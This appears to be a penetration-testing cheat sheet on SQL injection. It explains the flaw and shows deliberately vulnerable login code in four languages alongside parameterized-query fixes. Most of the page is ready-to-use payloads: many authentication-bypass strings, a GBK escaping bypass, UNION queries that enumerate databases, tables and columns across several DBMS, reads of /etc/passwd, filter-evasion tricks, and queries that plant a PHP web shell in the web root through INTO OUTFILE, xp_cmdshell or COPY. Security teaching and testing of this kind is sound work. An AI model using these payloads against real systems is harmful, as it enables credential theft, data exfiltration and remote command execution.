index
SQL Injection
SQL injection (SQLi) is a critical vulnerability exploited during penetration testing to assess the security of web applications. It occurs when unvalidated user input is directly embedded in SQL queries, allowing attackers to interfere with the application's database operations. By injecting malicious payloads into input fields, such as ' OR '1'='1 in a login form, pentesters can bypass authentication, extract sensitive information like usernames, passwords, or credit card details, modify or delete records, or escalate privileges. Advanced attacks may even allow access to the underlying operating system through database features.
The danger of SQL injection lies in its potential impact: attackers can compromise the confidentiality, integrity, and availability of data. For businesses, this could mean data breaches, financial loss, reputational damage, or even legal consequences. SQLi can affect any system that relies on database queries, making it a high-priority threat to address. Pentesters use SQLi to demonstrate vulnerabilities and highlight the need for secure coding practices, input validation, and the use of techniques like parameterized queries or ORMs (Object-Relational Mappers) to mitigate risks.
SQL Databases
SQL (Structured Query Language) databases are relational databases designed to store data in structured tables with rows and columns. Each table has a predefined schema that enforces data integrity. SQL databases are ideal for complex queries, transactions, and structured data. Examples include:
- MySQL
- PostgreSQL
- Microsoft SQL Server
- Oracle Database
SQL databases are susceptible to SQL Injection attacks, where attackers manipulate SQL queries to bypass authentication, retrieve sensitive data, or alter database records. For instance, injecting ' OR '1'='1 into a login field can bypass authentication if inputs are not sanitized.
NoSQL Databases
NoSQL databases are non-relational and designed to handle unstructured or semi-structured data. They are schema-less and offer flexibility, scalability, and high performance for modern applications. NoSQL databases are ideal for use cases like real-time analytics, IoT, and big data. Examples include:
- MongoDB (document-based)
- Redis (key-value store)
- Cassandra (wide-column store)
- Neo4j (graph database)
NoSQL Injection:
NoSQL databases are vulnerable to NoSQL Injection, where attackers manipulate NoSQL queries by injecting malicious code. For example, in MongoDB, injecting {"$ne": null} in a login field could bypass authentication if inputs are not properly sanitized. This can lead to unauthorized access, data theft, or disruption of services, similar to SQL Injection but tailored to the NoSQL query syntax.
Note: NoSQL Injection will be added soon.
Basic Code Review
- Python Flask
- Node.js (Express with MySQL)
- .NET (C# with ADO.NET)
- PHP
from flask import Flask, request
import sqlite3
app = Flask(__name__)
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
# Vulnerable query
conn = sqlite3.connect('example.db')
cursor = conn.cursor()
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
cursor.execute(query)
result = cursor.fetchone()
if result:
return "Login successful"
return "Login failed"
const express = require('express');
const mysql = require('mysql');
const app = express();
const connection = mysql.createConnection({
host: 'localhost',
user: 'root',
password: '',
database: 'example'
});
app.post('/login', (req, res) => {
const username = req.body.username;
const password = req.body.password;
// Vulnerable query
const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
connection.query(query, (error, results) => {
if (results.length > 0) {
res.send('Login successful');
} else {
res.send('Login failed');
}
});
});
using System;
using System.Data.SqlClient;
using System.Web;
public partial class Login : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
string username = Request.Form["username"];
string password = Request.Form["password"];
// Vulnerable query
string connectionString = "Server=localhost;Database=example;User Id=sa;Password=your_password;";
string query = $"SELECT * FROM Users WHERE Username = '{username}' AND Password = '{password}'";
using (SqlConnection connection = new SqlConnection(connectionString))
{
SqlCommand command = new SqlCommand(query, connection);
connection.Open();
SqlDataReader reader = command.ExecuteReader();
if (reader.HasRows)
{
Response.Write("Login successful");
}
else
{
Response.Write("Login failed");
}
}
}
}
<?php
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "example";
$conn = new mysqli($servername, $username, $password, $dbname);
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$username = $_POST['username'];
$password = $_POST['password'];
// Vulnerable query
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = $conn->query($query);
if ($result->num_rows > 0) {
echo "Login successful";
} else {
echo "Login failed";
}
}
$conn->close();
?>
How These Are Vulnerable
All these examples directly embed user inputs into SQL queries without proper sanitization or escaping. An attacker can inject malicious SQL payloads to manipulate the database.
Mitigation
Replace the vulnerable query in each language with parameterized queries or prepared statements. For example:
- Python Flask: Use
cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)). - Node.js: Use placeholders like
connection.query("SELECT * FROM users WHERE username = ? AND password = ?", [username, password]). - .NET: Use
SqlCommandwith parameters likecommand.Parameters.AddWithValue("@username", username). - PHP: Use prepared statements with
mysqli_prepareor PDO.
Discovering SQL Injections
We first need to determine if the login form or input field is vulnerable to SQL injection. To do this, we can inject specific payloads into input fields (e.g., username or password) or append them to the URL (in HTTP GET requests) and observe the application's response for any errors, behavioral changes, or unexpected outputs.
| Payload | Description | URL Encoded |
|---|---|---|
' | Single quote: tests for syntax issues | %27 |
" | Double quote: alternate syntax testing | %22 |
-- | SQL comment: ignores query remainder | %2D%2D |
# | MySQL-specific comment marker | %23 |
; | Query terminator | %3B |
) | Closing parenthesis: syntax alteration | %29 |
' OR 1=1 -- | Logic bypass: true condition injection | %27%20OR%201%3D1%20-- |
' AND 1=2 -- | False condition: response-based testing | %27%20AND%201%3D2%20-- |
admin' -- | Bypass using a common username | admin%27%20-- |
Generic Payloads
"
""
")
"))
'
''
')
'))
'='
,
/
//
;
\
\\
`
`)
`))
``
'=0--+
' AND id IS NULL; --
'LIKE'
' or "
-- or #
" OR "" = "
' OR '' = '
' OR '1
' OR 1 -- -
OR 1=1
" OR 1 = 1 -- -
' OR 'x'='x
'''''''''''''UNION SELECT '2
Subverting Query Logic
Subverting query logic is a common approach in SQL injection attacks to manipulate how a database interprets a query. By injecting malicious input, attackers can alter the intended behavior of a query. A typical use case is bypassing login authentication in web applications.
Example of Query Manipulation
- Original Query
- Injecting
- After Injecting
SELECT * FROM users WHERE username = 'user_input' AND password = 'user_input';
' OR '1'='1' --
SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = '';
After we injected ' OR '1'='1' -- the attacker gains unauthorized access to the application by tricking it into thinking the login credentials are valid.
Authentication Bypass Payloads
'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
Authentication Bypass - GBK Addslashes Bypass
This vulnerability happens when an application changes MySQL’s charset to GBK using SQL (e.g., SET CHARACTER SET 'GBK') while the database driver still believes the connection is using a single-byte charset.
Because GBK treats certain multi-byte sequences as valid characters, an attacker can send the bytes \xBF\x27 (URL-encoded as %bf%27). The driver escapes only the single quote, but MySQL interprets the two bytes as a single GBK character—so the quote effectively becomes unescaped. This allows the attacker to break out of the SQL string and inject payloads such as:
POST /login.php HTTP/1.1
Host: example.com
..SNIP..
<strong>username=%bf%27+OR+1=1%23&password=rezydev
</strong>
The issue can be fixed by configuring the connection charset correctly at the driver level, rather than changing it through SQL queries.
Union Injection
Find Number of Columns
- ORDER BY
- GROUP BY
- UNION
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --
' ORDER BY 14 --this gives error' ORDER BY 15 --this gives no error so, number of column is 15.
' GROUP BY 1--
' GROUP BY 2 --
' GROUP BY 3 --
' GROUP BY 14 --this gives error' GROUP BY 15 --this gives no error so, number of column is 15.
' UNION SELECT NULL --
' UNION SELECT NULL, NULL
' UNION SELECT NULL, NULL, NULL --
- If
' UNION SELECT NULL, NULL --this gives error - If
' UNION SELECT NULL, NULL, NULL --this gives no error so, number of column is 3.
Why to Find Number of Columns
Determining the number of columns is essential for UNION-based SQL injection because the number of columns in the injected query must match the number in the original query. Mismatched columns cause syntax errors, preventing successful data extraction.
Find Data Types
' UNION SELECT 'a', NULL, NULL --
' UNION SELECT NULL, 'A', NULL --
' UNION SELECT NULL, NULL, 'A' --
Note: We can simply use '
NULL' to fill columns, as 'NULL' fits all data types.
Extract Data
After this we can retrive the data as follows, we can use concat operation in case only one column can hold string data type.
' UNION SELECT username, password FROM Users--
' UNION SELECT CONCAT(username, password), NULL FROM Users --
' UNION SELECT NULL, username || password FROM Users --
Enumerating the Database
Database Version
- MySQL/Microsoft
- Oracle
- PostgreSQL
- SQLite
- MySQL Extra
' UNION SELECT @@version--
' UNION SELECT banner FROM v$version--
' UNION SELECT version FROM v$instance--
' UNION SELECT version()--
' UNION SELECT sqlite_version(), NULL--
SELECT POW(1,1) -- returns 1 & error with other dbms
SELECT SLEEP(5) -- delays page response for 5 seconds & Will not delay response with other DBMS
List of databases
- MySQL
- Microsoft
- PostgreSQL
- Oracle
' UNION SELECT NULL,schema_name,NULL FROM INFORMATION_SCHEMA.SCHEMATA-- -
Note: To find current database name, we can use database() function.
' UNION SELECT name FROM master..sysdatabases --
' UNION SELECT name FROM master.sys.databases --
Note: To find current database name, we can use DB_NAME() function.
' UNION SELECT NULL, datname, NULL FROM pg_database-- -
Note: To find current database name, we can use current_database() function.
' UNION SELECT NULL, username, NULL FROM all_users-- -
Note: In Oracle, the concept of a "database" is different compared to other SQL systems
To find current database, we can use following query:
SELECT SYS_CONTEXT('USERENV', 'CURRENT_SCHEMA') FROM DUAL;
List of tables within each database
- MySQL
- Microsoft
- PostgreSQL
- Oracle
- SQLite
' UNION SELECT NULL, TABLE_NAME, TABLE_SCHEMA, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='database_name'-- -
' UNION SELECT NULL, TABLE_NAME, TABLE_CATALOG, NULL FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_CATALOG='database_name'-- -
-- Alternative Payload
' UNION SELECT table_name from database_name.INFORMATION_SCHEMA.TABLES
' UNION SELECT NULL, table_name, table_schema, NULL FROM information_schema.tables WHERE table_catalog='database_name'-- -
' UNION SELECT NULL, table_name, owner, NULL FROM all_tables WHERE owner='schema_name'-- -
' UNION SELECT NULL, name, NULL, NULL FROM sqlite_master WHERE type='table'-- -
List of columns within each table
- MySQL
- Microsoft
- PostgreSQL
- Oracle
- SQLite
' UNION select NULL,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='table_name'-- -
' UNION SELECT NULL, COLUMN_NAME, TABLE_NAME, TABLE_CATALOG FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='table_name'-- -
' UNION SELECT NULL, column_name, table_name, table_schema FROM information_schema.columns WHERE table_name='table_name'-- -
' UNION SELECT NULL, column_name, table_name, owner FROM all_tab_columns WHERE table_name='table_name'-- -
' UNION SELECT NULL, name, tbl_name, NULL FROM pragma_table_info('table_name')-- -
Reading & Writing Files
Privileges
Note: We do not need database administrator (DBA) permission to read data.
- MySQL
- Microsoft
- PostgreSQL
- Oracle
-- Current user and database user information:
SELECT USER(); -- Returns the user and host of the current connection
SELECT CURRENT_USER(); -- Returns the user the server authenticated
SELECT user FROM mysql.user; -- Lists all users in the database
SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"; -- Shows value of secure_file_priv
To be able to write files to the back-end server using a MySQL database, we require three things:
- User with
FILEprivilege enabled - MySQL global
secure_file_privvariable not enabled - Write access to the location we want to write to on the back-end server
-- Current user information:
SELECT SYSTEM_USER; -- Returns the system user
SELECT SESSION_USER; -- Returns the SQL Server login of the current session
-- List all database users:
SELECT name FROM sys.sysusers; -- Lists all users in the current database
-- Current user information:
SELECT CURRENT_USER; -- Returns the current SQL user
SELECT SESSION_USER; -- Returns the user who initiated the session
-- List all roles (users and groups):
SELECT rolname FROM pg_roles;
-- Current user information:
SELECT USER FROM DUAL; -- Returns the current Oracle user
-- List all users:
SELECT USERNAME FROM ALL_USERS; -- Lists all users accessible to the current user
SELECT USERNAME FROM DBA_USERS; -- Requires DBA privilege to list all database users
Reading Files
- MySQL
- Microsoft
- PostgreSQL
-- Read file content directly:
' UNION ALL SELECT NULL, LOAD_FILE('/etc/passwd'), NULL --
-- Read file and encode in Base64 (useful for binary files or bypassing filters):
' UNION ALL SELECT NULL, TO_BASE64(LOAD_FILE('/var/www/html/index.php')), NULL --
-- SQL Server does not have a direct equivalent of LOAD_FILE. You can use xp_cmdshell (if enabled) to read file content:
' UNION ALL SELECT NULL, CONVERT(VARCHAR(MAX), BulkColumn), NULL FROM OPENROWSET(BULK N'C:\Windows\System32\drivers\etc\hosts', SINGLE_BLOB) AS FileData --
-- Use a database function or external program call (if enabled):
' UNION ALL SELECT NULL, pg_read_file('/etc/passwd', 0, 1000), NULL --
-- Alternatively, use COPY to export file content (requires proper permissions):
COPY (SELECT pg_read_file('/etc/passwd')) TO '/tmp/output.txt';
Writing Files
- MySQL
- Microsoft
- PostgreSQL
-- Write PHP code into a file (e.g., shell.php):
' UNION SELECT "",'<?php system($_REQUEST[0]); ?>', "", "" INTO OUTFILE '/var/www/html/shell.php'-- -
-- SQL Server does not have a direct equivalent of `INTO OUTFILE`, but you can use `xp_cmdshell` to write files (if enabled):
' EXEC xp_cmdshell 'echo "<?php system($_REQUEST[0]); ?>" > C:\inetpub\wwwroot\shell.php' --
-- PostgreSQL can use the `COPY` command, but writing arbitrary files requires superuser access and proper configurations:
' COPY (SELECT '<?php system($_REQUEST[0]); ?>') TO '/var/www/html/shell.php'; --
Files written using SQL Queries have following permissions:
$ ls -la /var/www/html/shell.php
-rw-rw-rw- 1 mysql mysql 01 Jan 1 03:24 /var/www/html/shell.php
We can use 'FROM_BASE64("base64_data")' function to write long files, including binary data.
Filter Bypass
No Space Allowed
Some web applications attempt to secure their SQL queries by blocking or stripping space characters to prevent simple SQL injection attacks. However, attackers can bypass these filters by using alternative whitespace characters, comments, or creative use of parentheses.
Most databases interpret certain ASCII control characters and encoded spaces (such as tabs, newlines, etc.) as whitespace in SQL statements. By encoding these characters, attackers can often evade space-based filters.
| Example Payload | Description |
|---|---|
?id=1%09and%091=1%09-- | %09 is tab (\t) |
?id=1%0Aand%0A1=1%0A-- | %0A is line feed (\n) |
?id=1%0Band%0B1=1%0B-- | %0B is vertical tab |
?id=1%0Cand%0C1=1%0C-- | %0C is form feed |
?id=1%0Dand%0D1=1%0D-- | %0D is carriage return (\r) |
?id=1%A0and%A01=1%A0-- | %A0 is non-breaking space |
SQL allows comments and grouping, which can break up keywords and queries, thus defeating space filters:
| Bypass | Technique |
|---|---|
?id=1/*comment*/AND/**/1=1/**/-- | Comment |
?id=1/*!12345UNION*//*!12345SELECT*/1-- | Conditional comment |
?id=(1)and(1)=(1)-- | Parenthesis |
No Comma Allowed
Bypass using OFFSET, FROM and JOIN.
| Forbidden | Bypass |
|---|---|
LIMIT 0,1 | LIMIT 1 OFFSET 0 |
SUBSTR('SQL',1,1) | SUBSTR('SQL' FROM 1 FOR 1) |
SELECT 1,2,3,4 | UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d |
No Equal Allowed
Bypass using LIKE/NOT IN/IN/BETWEEN
| Bypass | SQL Example |
|---|---|
LIKE | SUBSTRING(VERSION(),1,1)LIKE(5) |
NOT IN | SUBSTRING(VERSION(),1,1)NOT IN(4,3) |
IN | SUBSTRING(VERSION(),1,1)IN(4,3) |
BETWEEN | SUBSTRING(VERSION(),1,1) BETWEEN 3 AND 4 |
Case Modification
Bypass using uppercase/lowercase.
| Bypass | Technique |
|---|---|
AND | Uppercase |
and | Lowercase |
aNd | Mixed case |
Bypass using keywords case insensitive or an equivalent operator.
| Forbidden | Bypass |
|---|---|
AND | && |
OR | || |
= | LIKE, REGEXP, BETWEEN |
> | NOT BETWEEN 0 AND X |
WHERE | HAVING |
Extra Useful Cheatsheet
String Concatination
- MySQL
- Oracle/PostgreSQL/SQLite
- Microsoft
'rezy' 'dev' -- [Note the space between the two strings]
CONCAT('rezy', 'dev')
'rezy' || 'dev'
'rezy' + 'dev'
Substring
- Oracle/SQLite
- MySQL/Microsoft/PostgreSQL/SQLite
SUBSTR('rezydev', 4, 3) -- Extracts 'yde'
SUBSTRING('rezydev', 4, 3) -- Extracts 'yde'
Comments
- Oracle/Microsoft/PostgreSQL/MySQL/SQLite
- PostgreSQL
- Microsoft/MySQL/PostgreSQL
-- Single-line comment
Note: --[space]comment > MySQL has space.
#comment
/*comment*/
Referencing table in different database
- MySQL
- Microsoft
- PostgreSQL
- Oracle
SELECT username, password FROM anotherdb.users --
SELECT username, password FROM anotherdb.dbo.users -- Uses `database.schema.table`
SELECT username, password FROM anotherdb.public.users -- Uses `database.schema.table` (explicit cross-database queries require configuration)
SELECT username, password FROM anotherdb.users@dblink -- Requires a database link
Reference
For more payloads we can refer to following resources: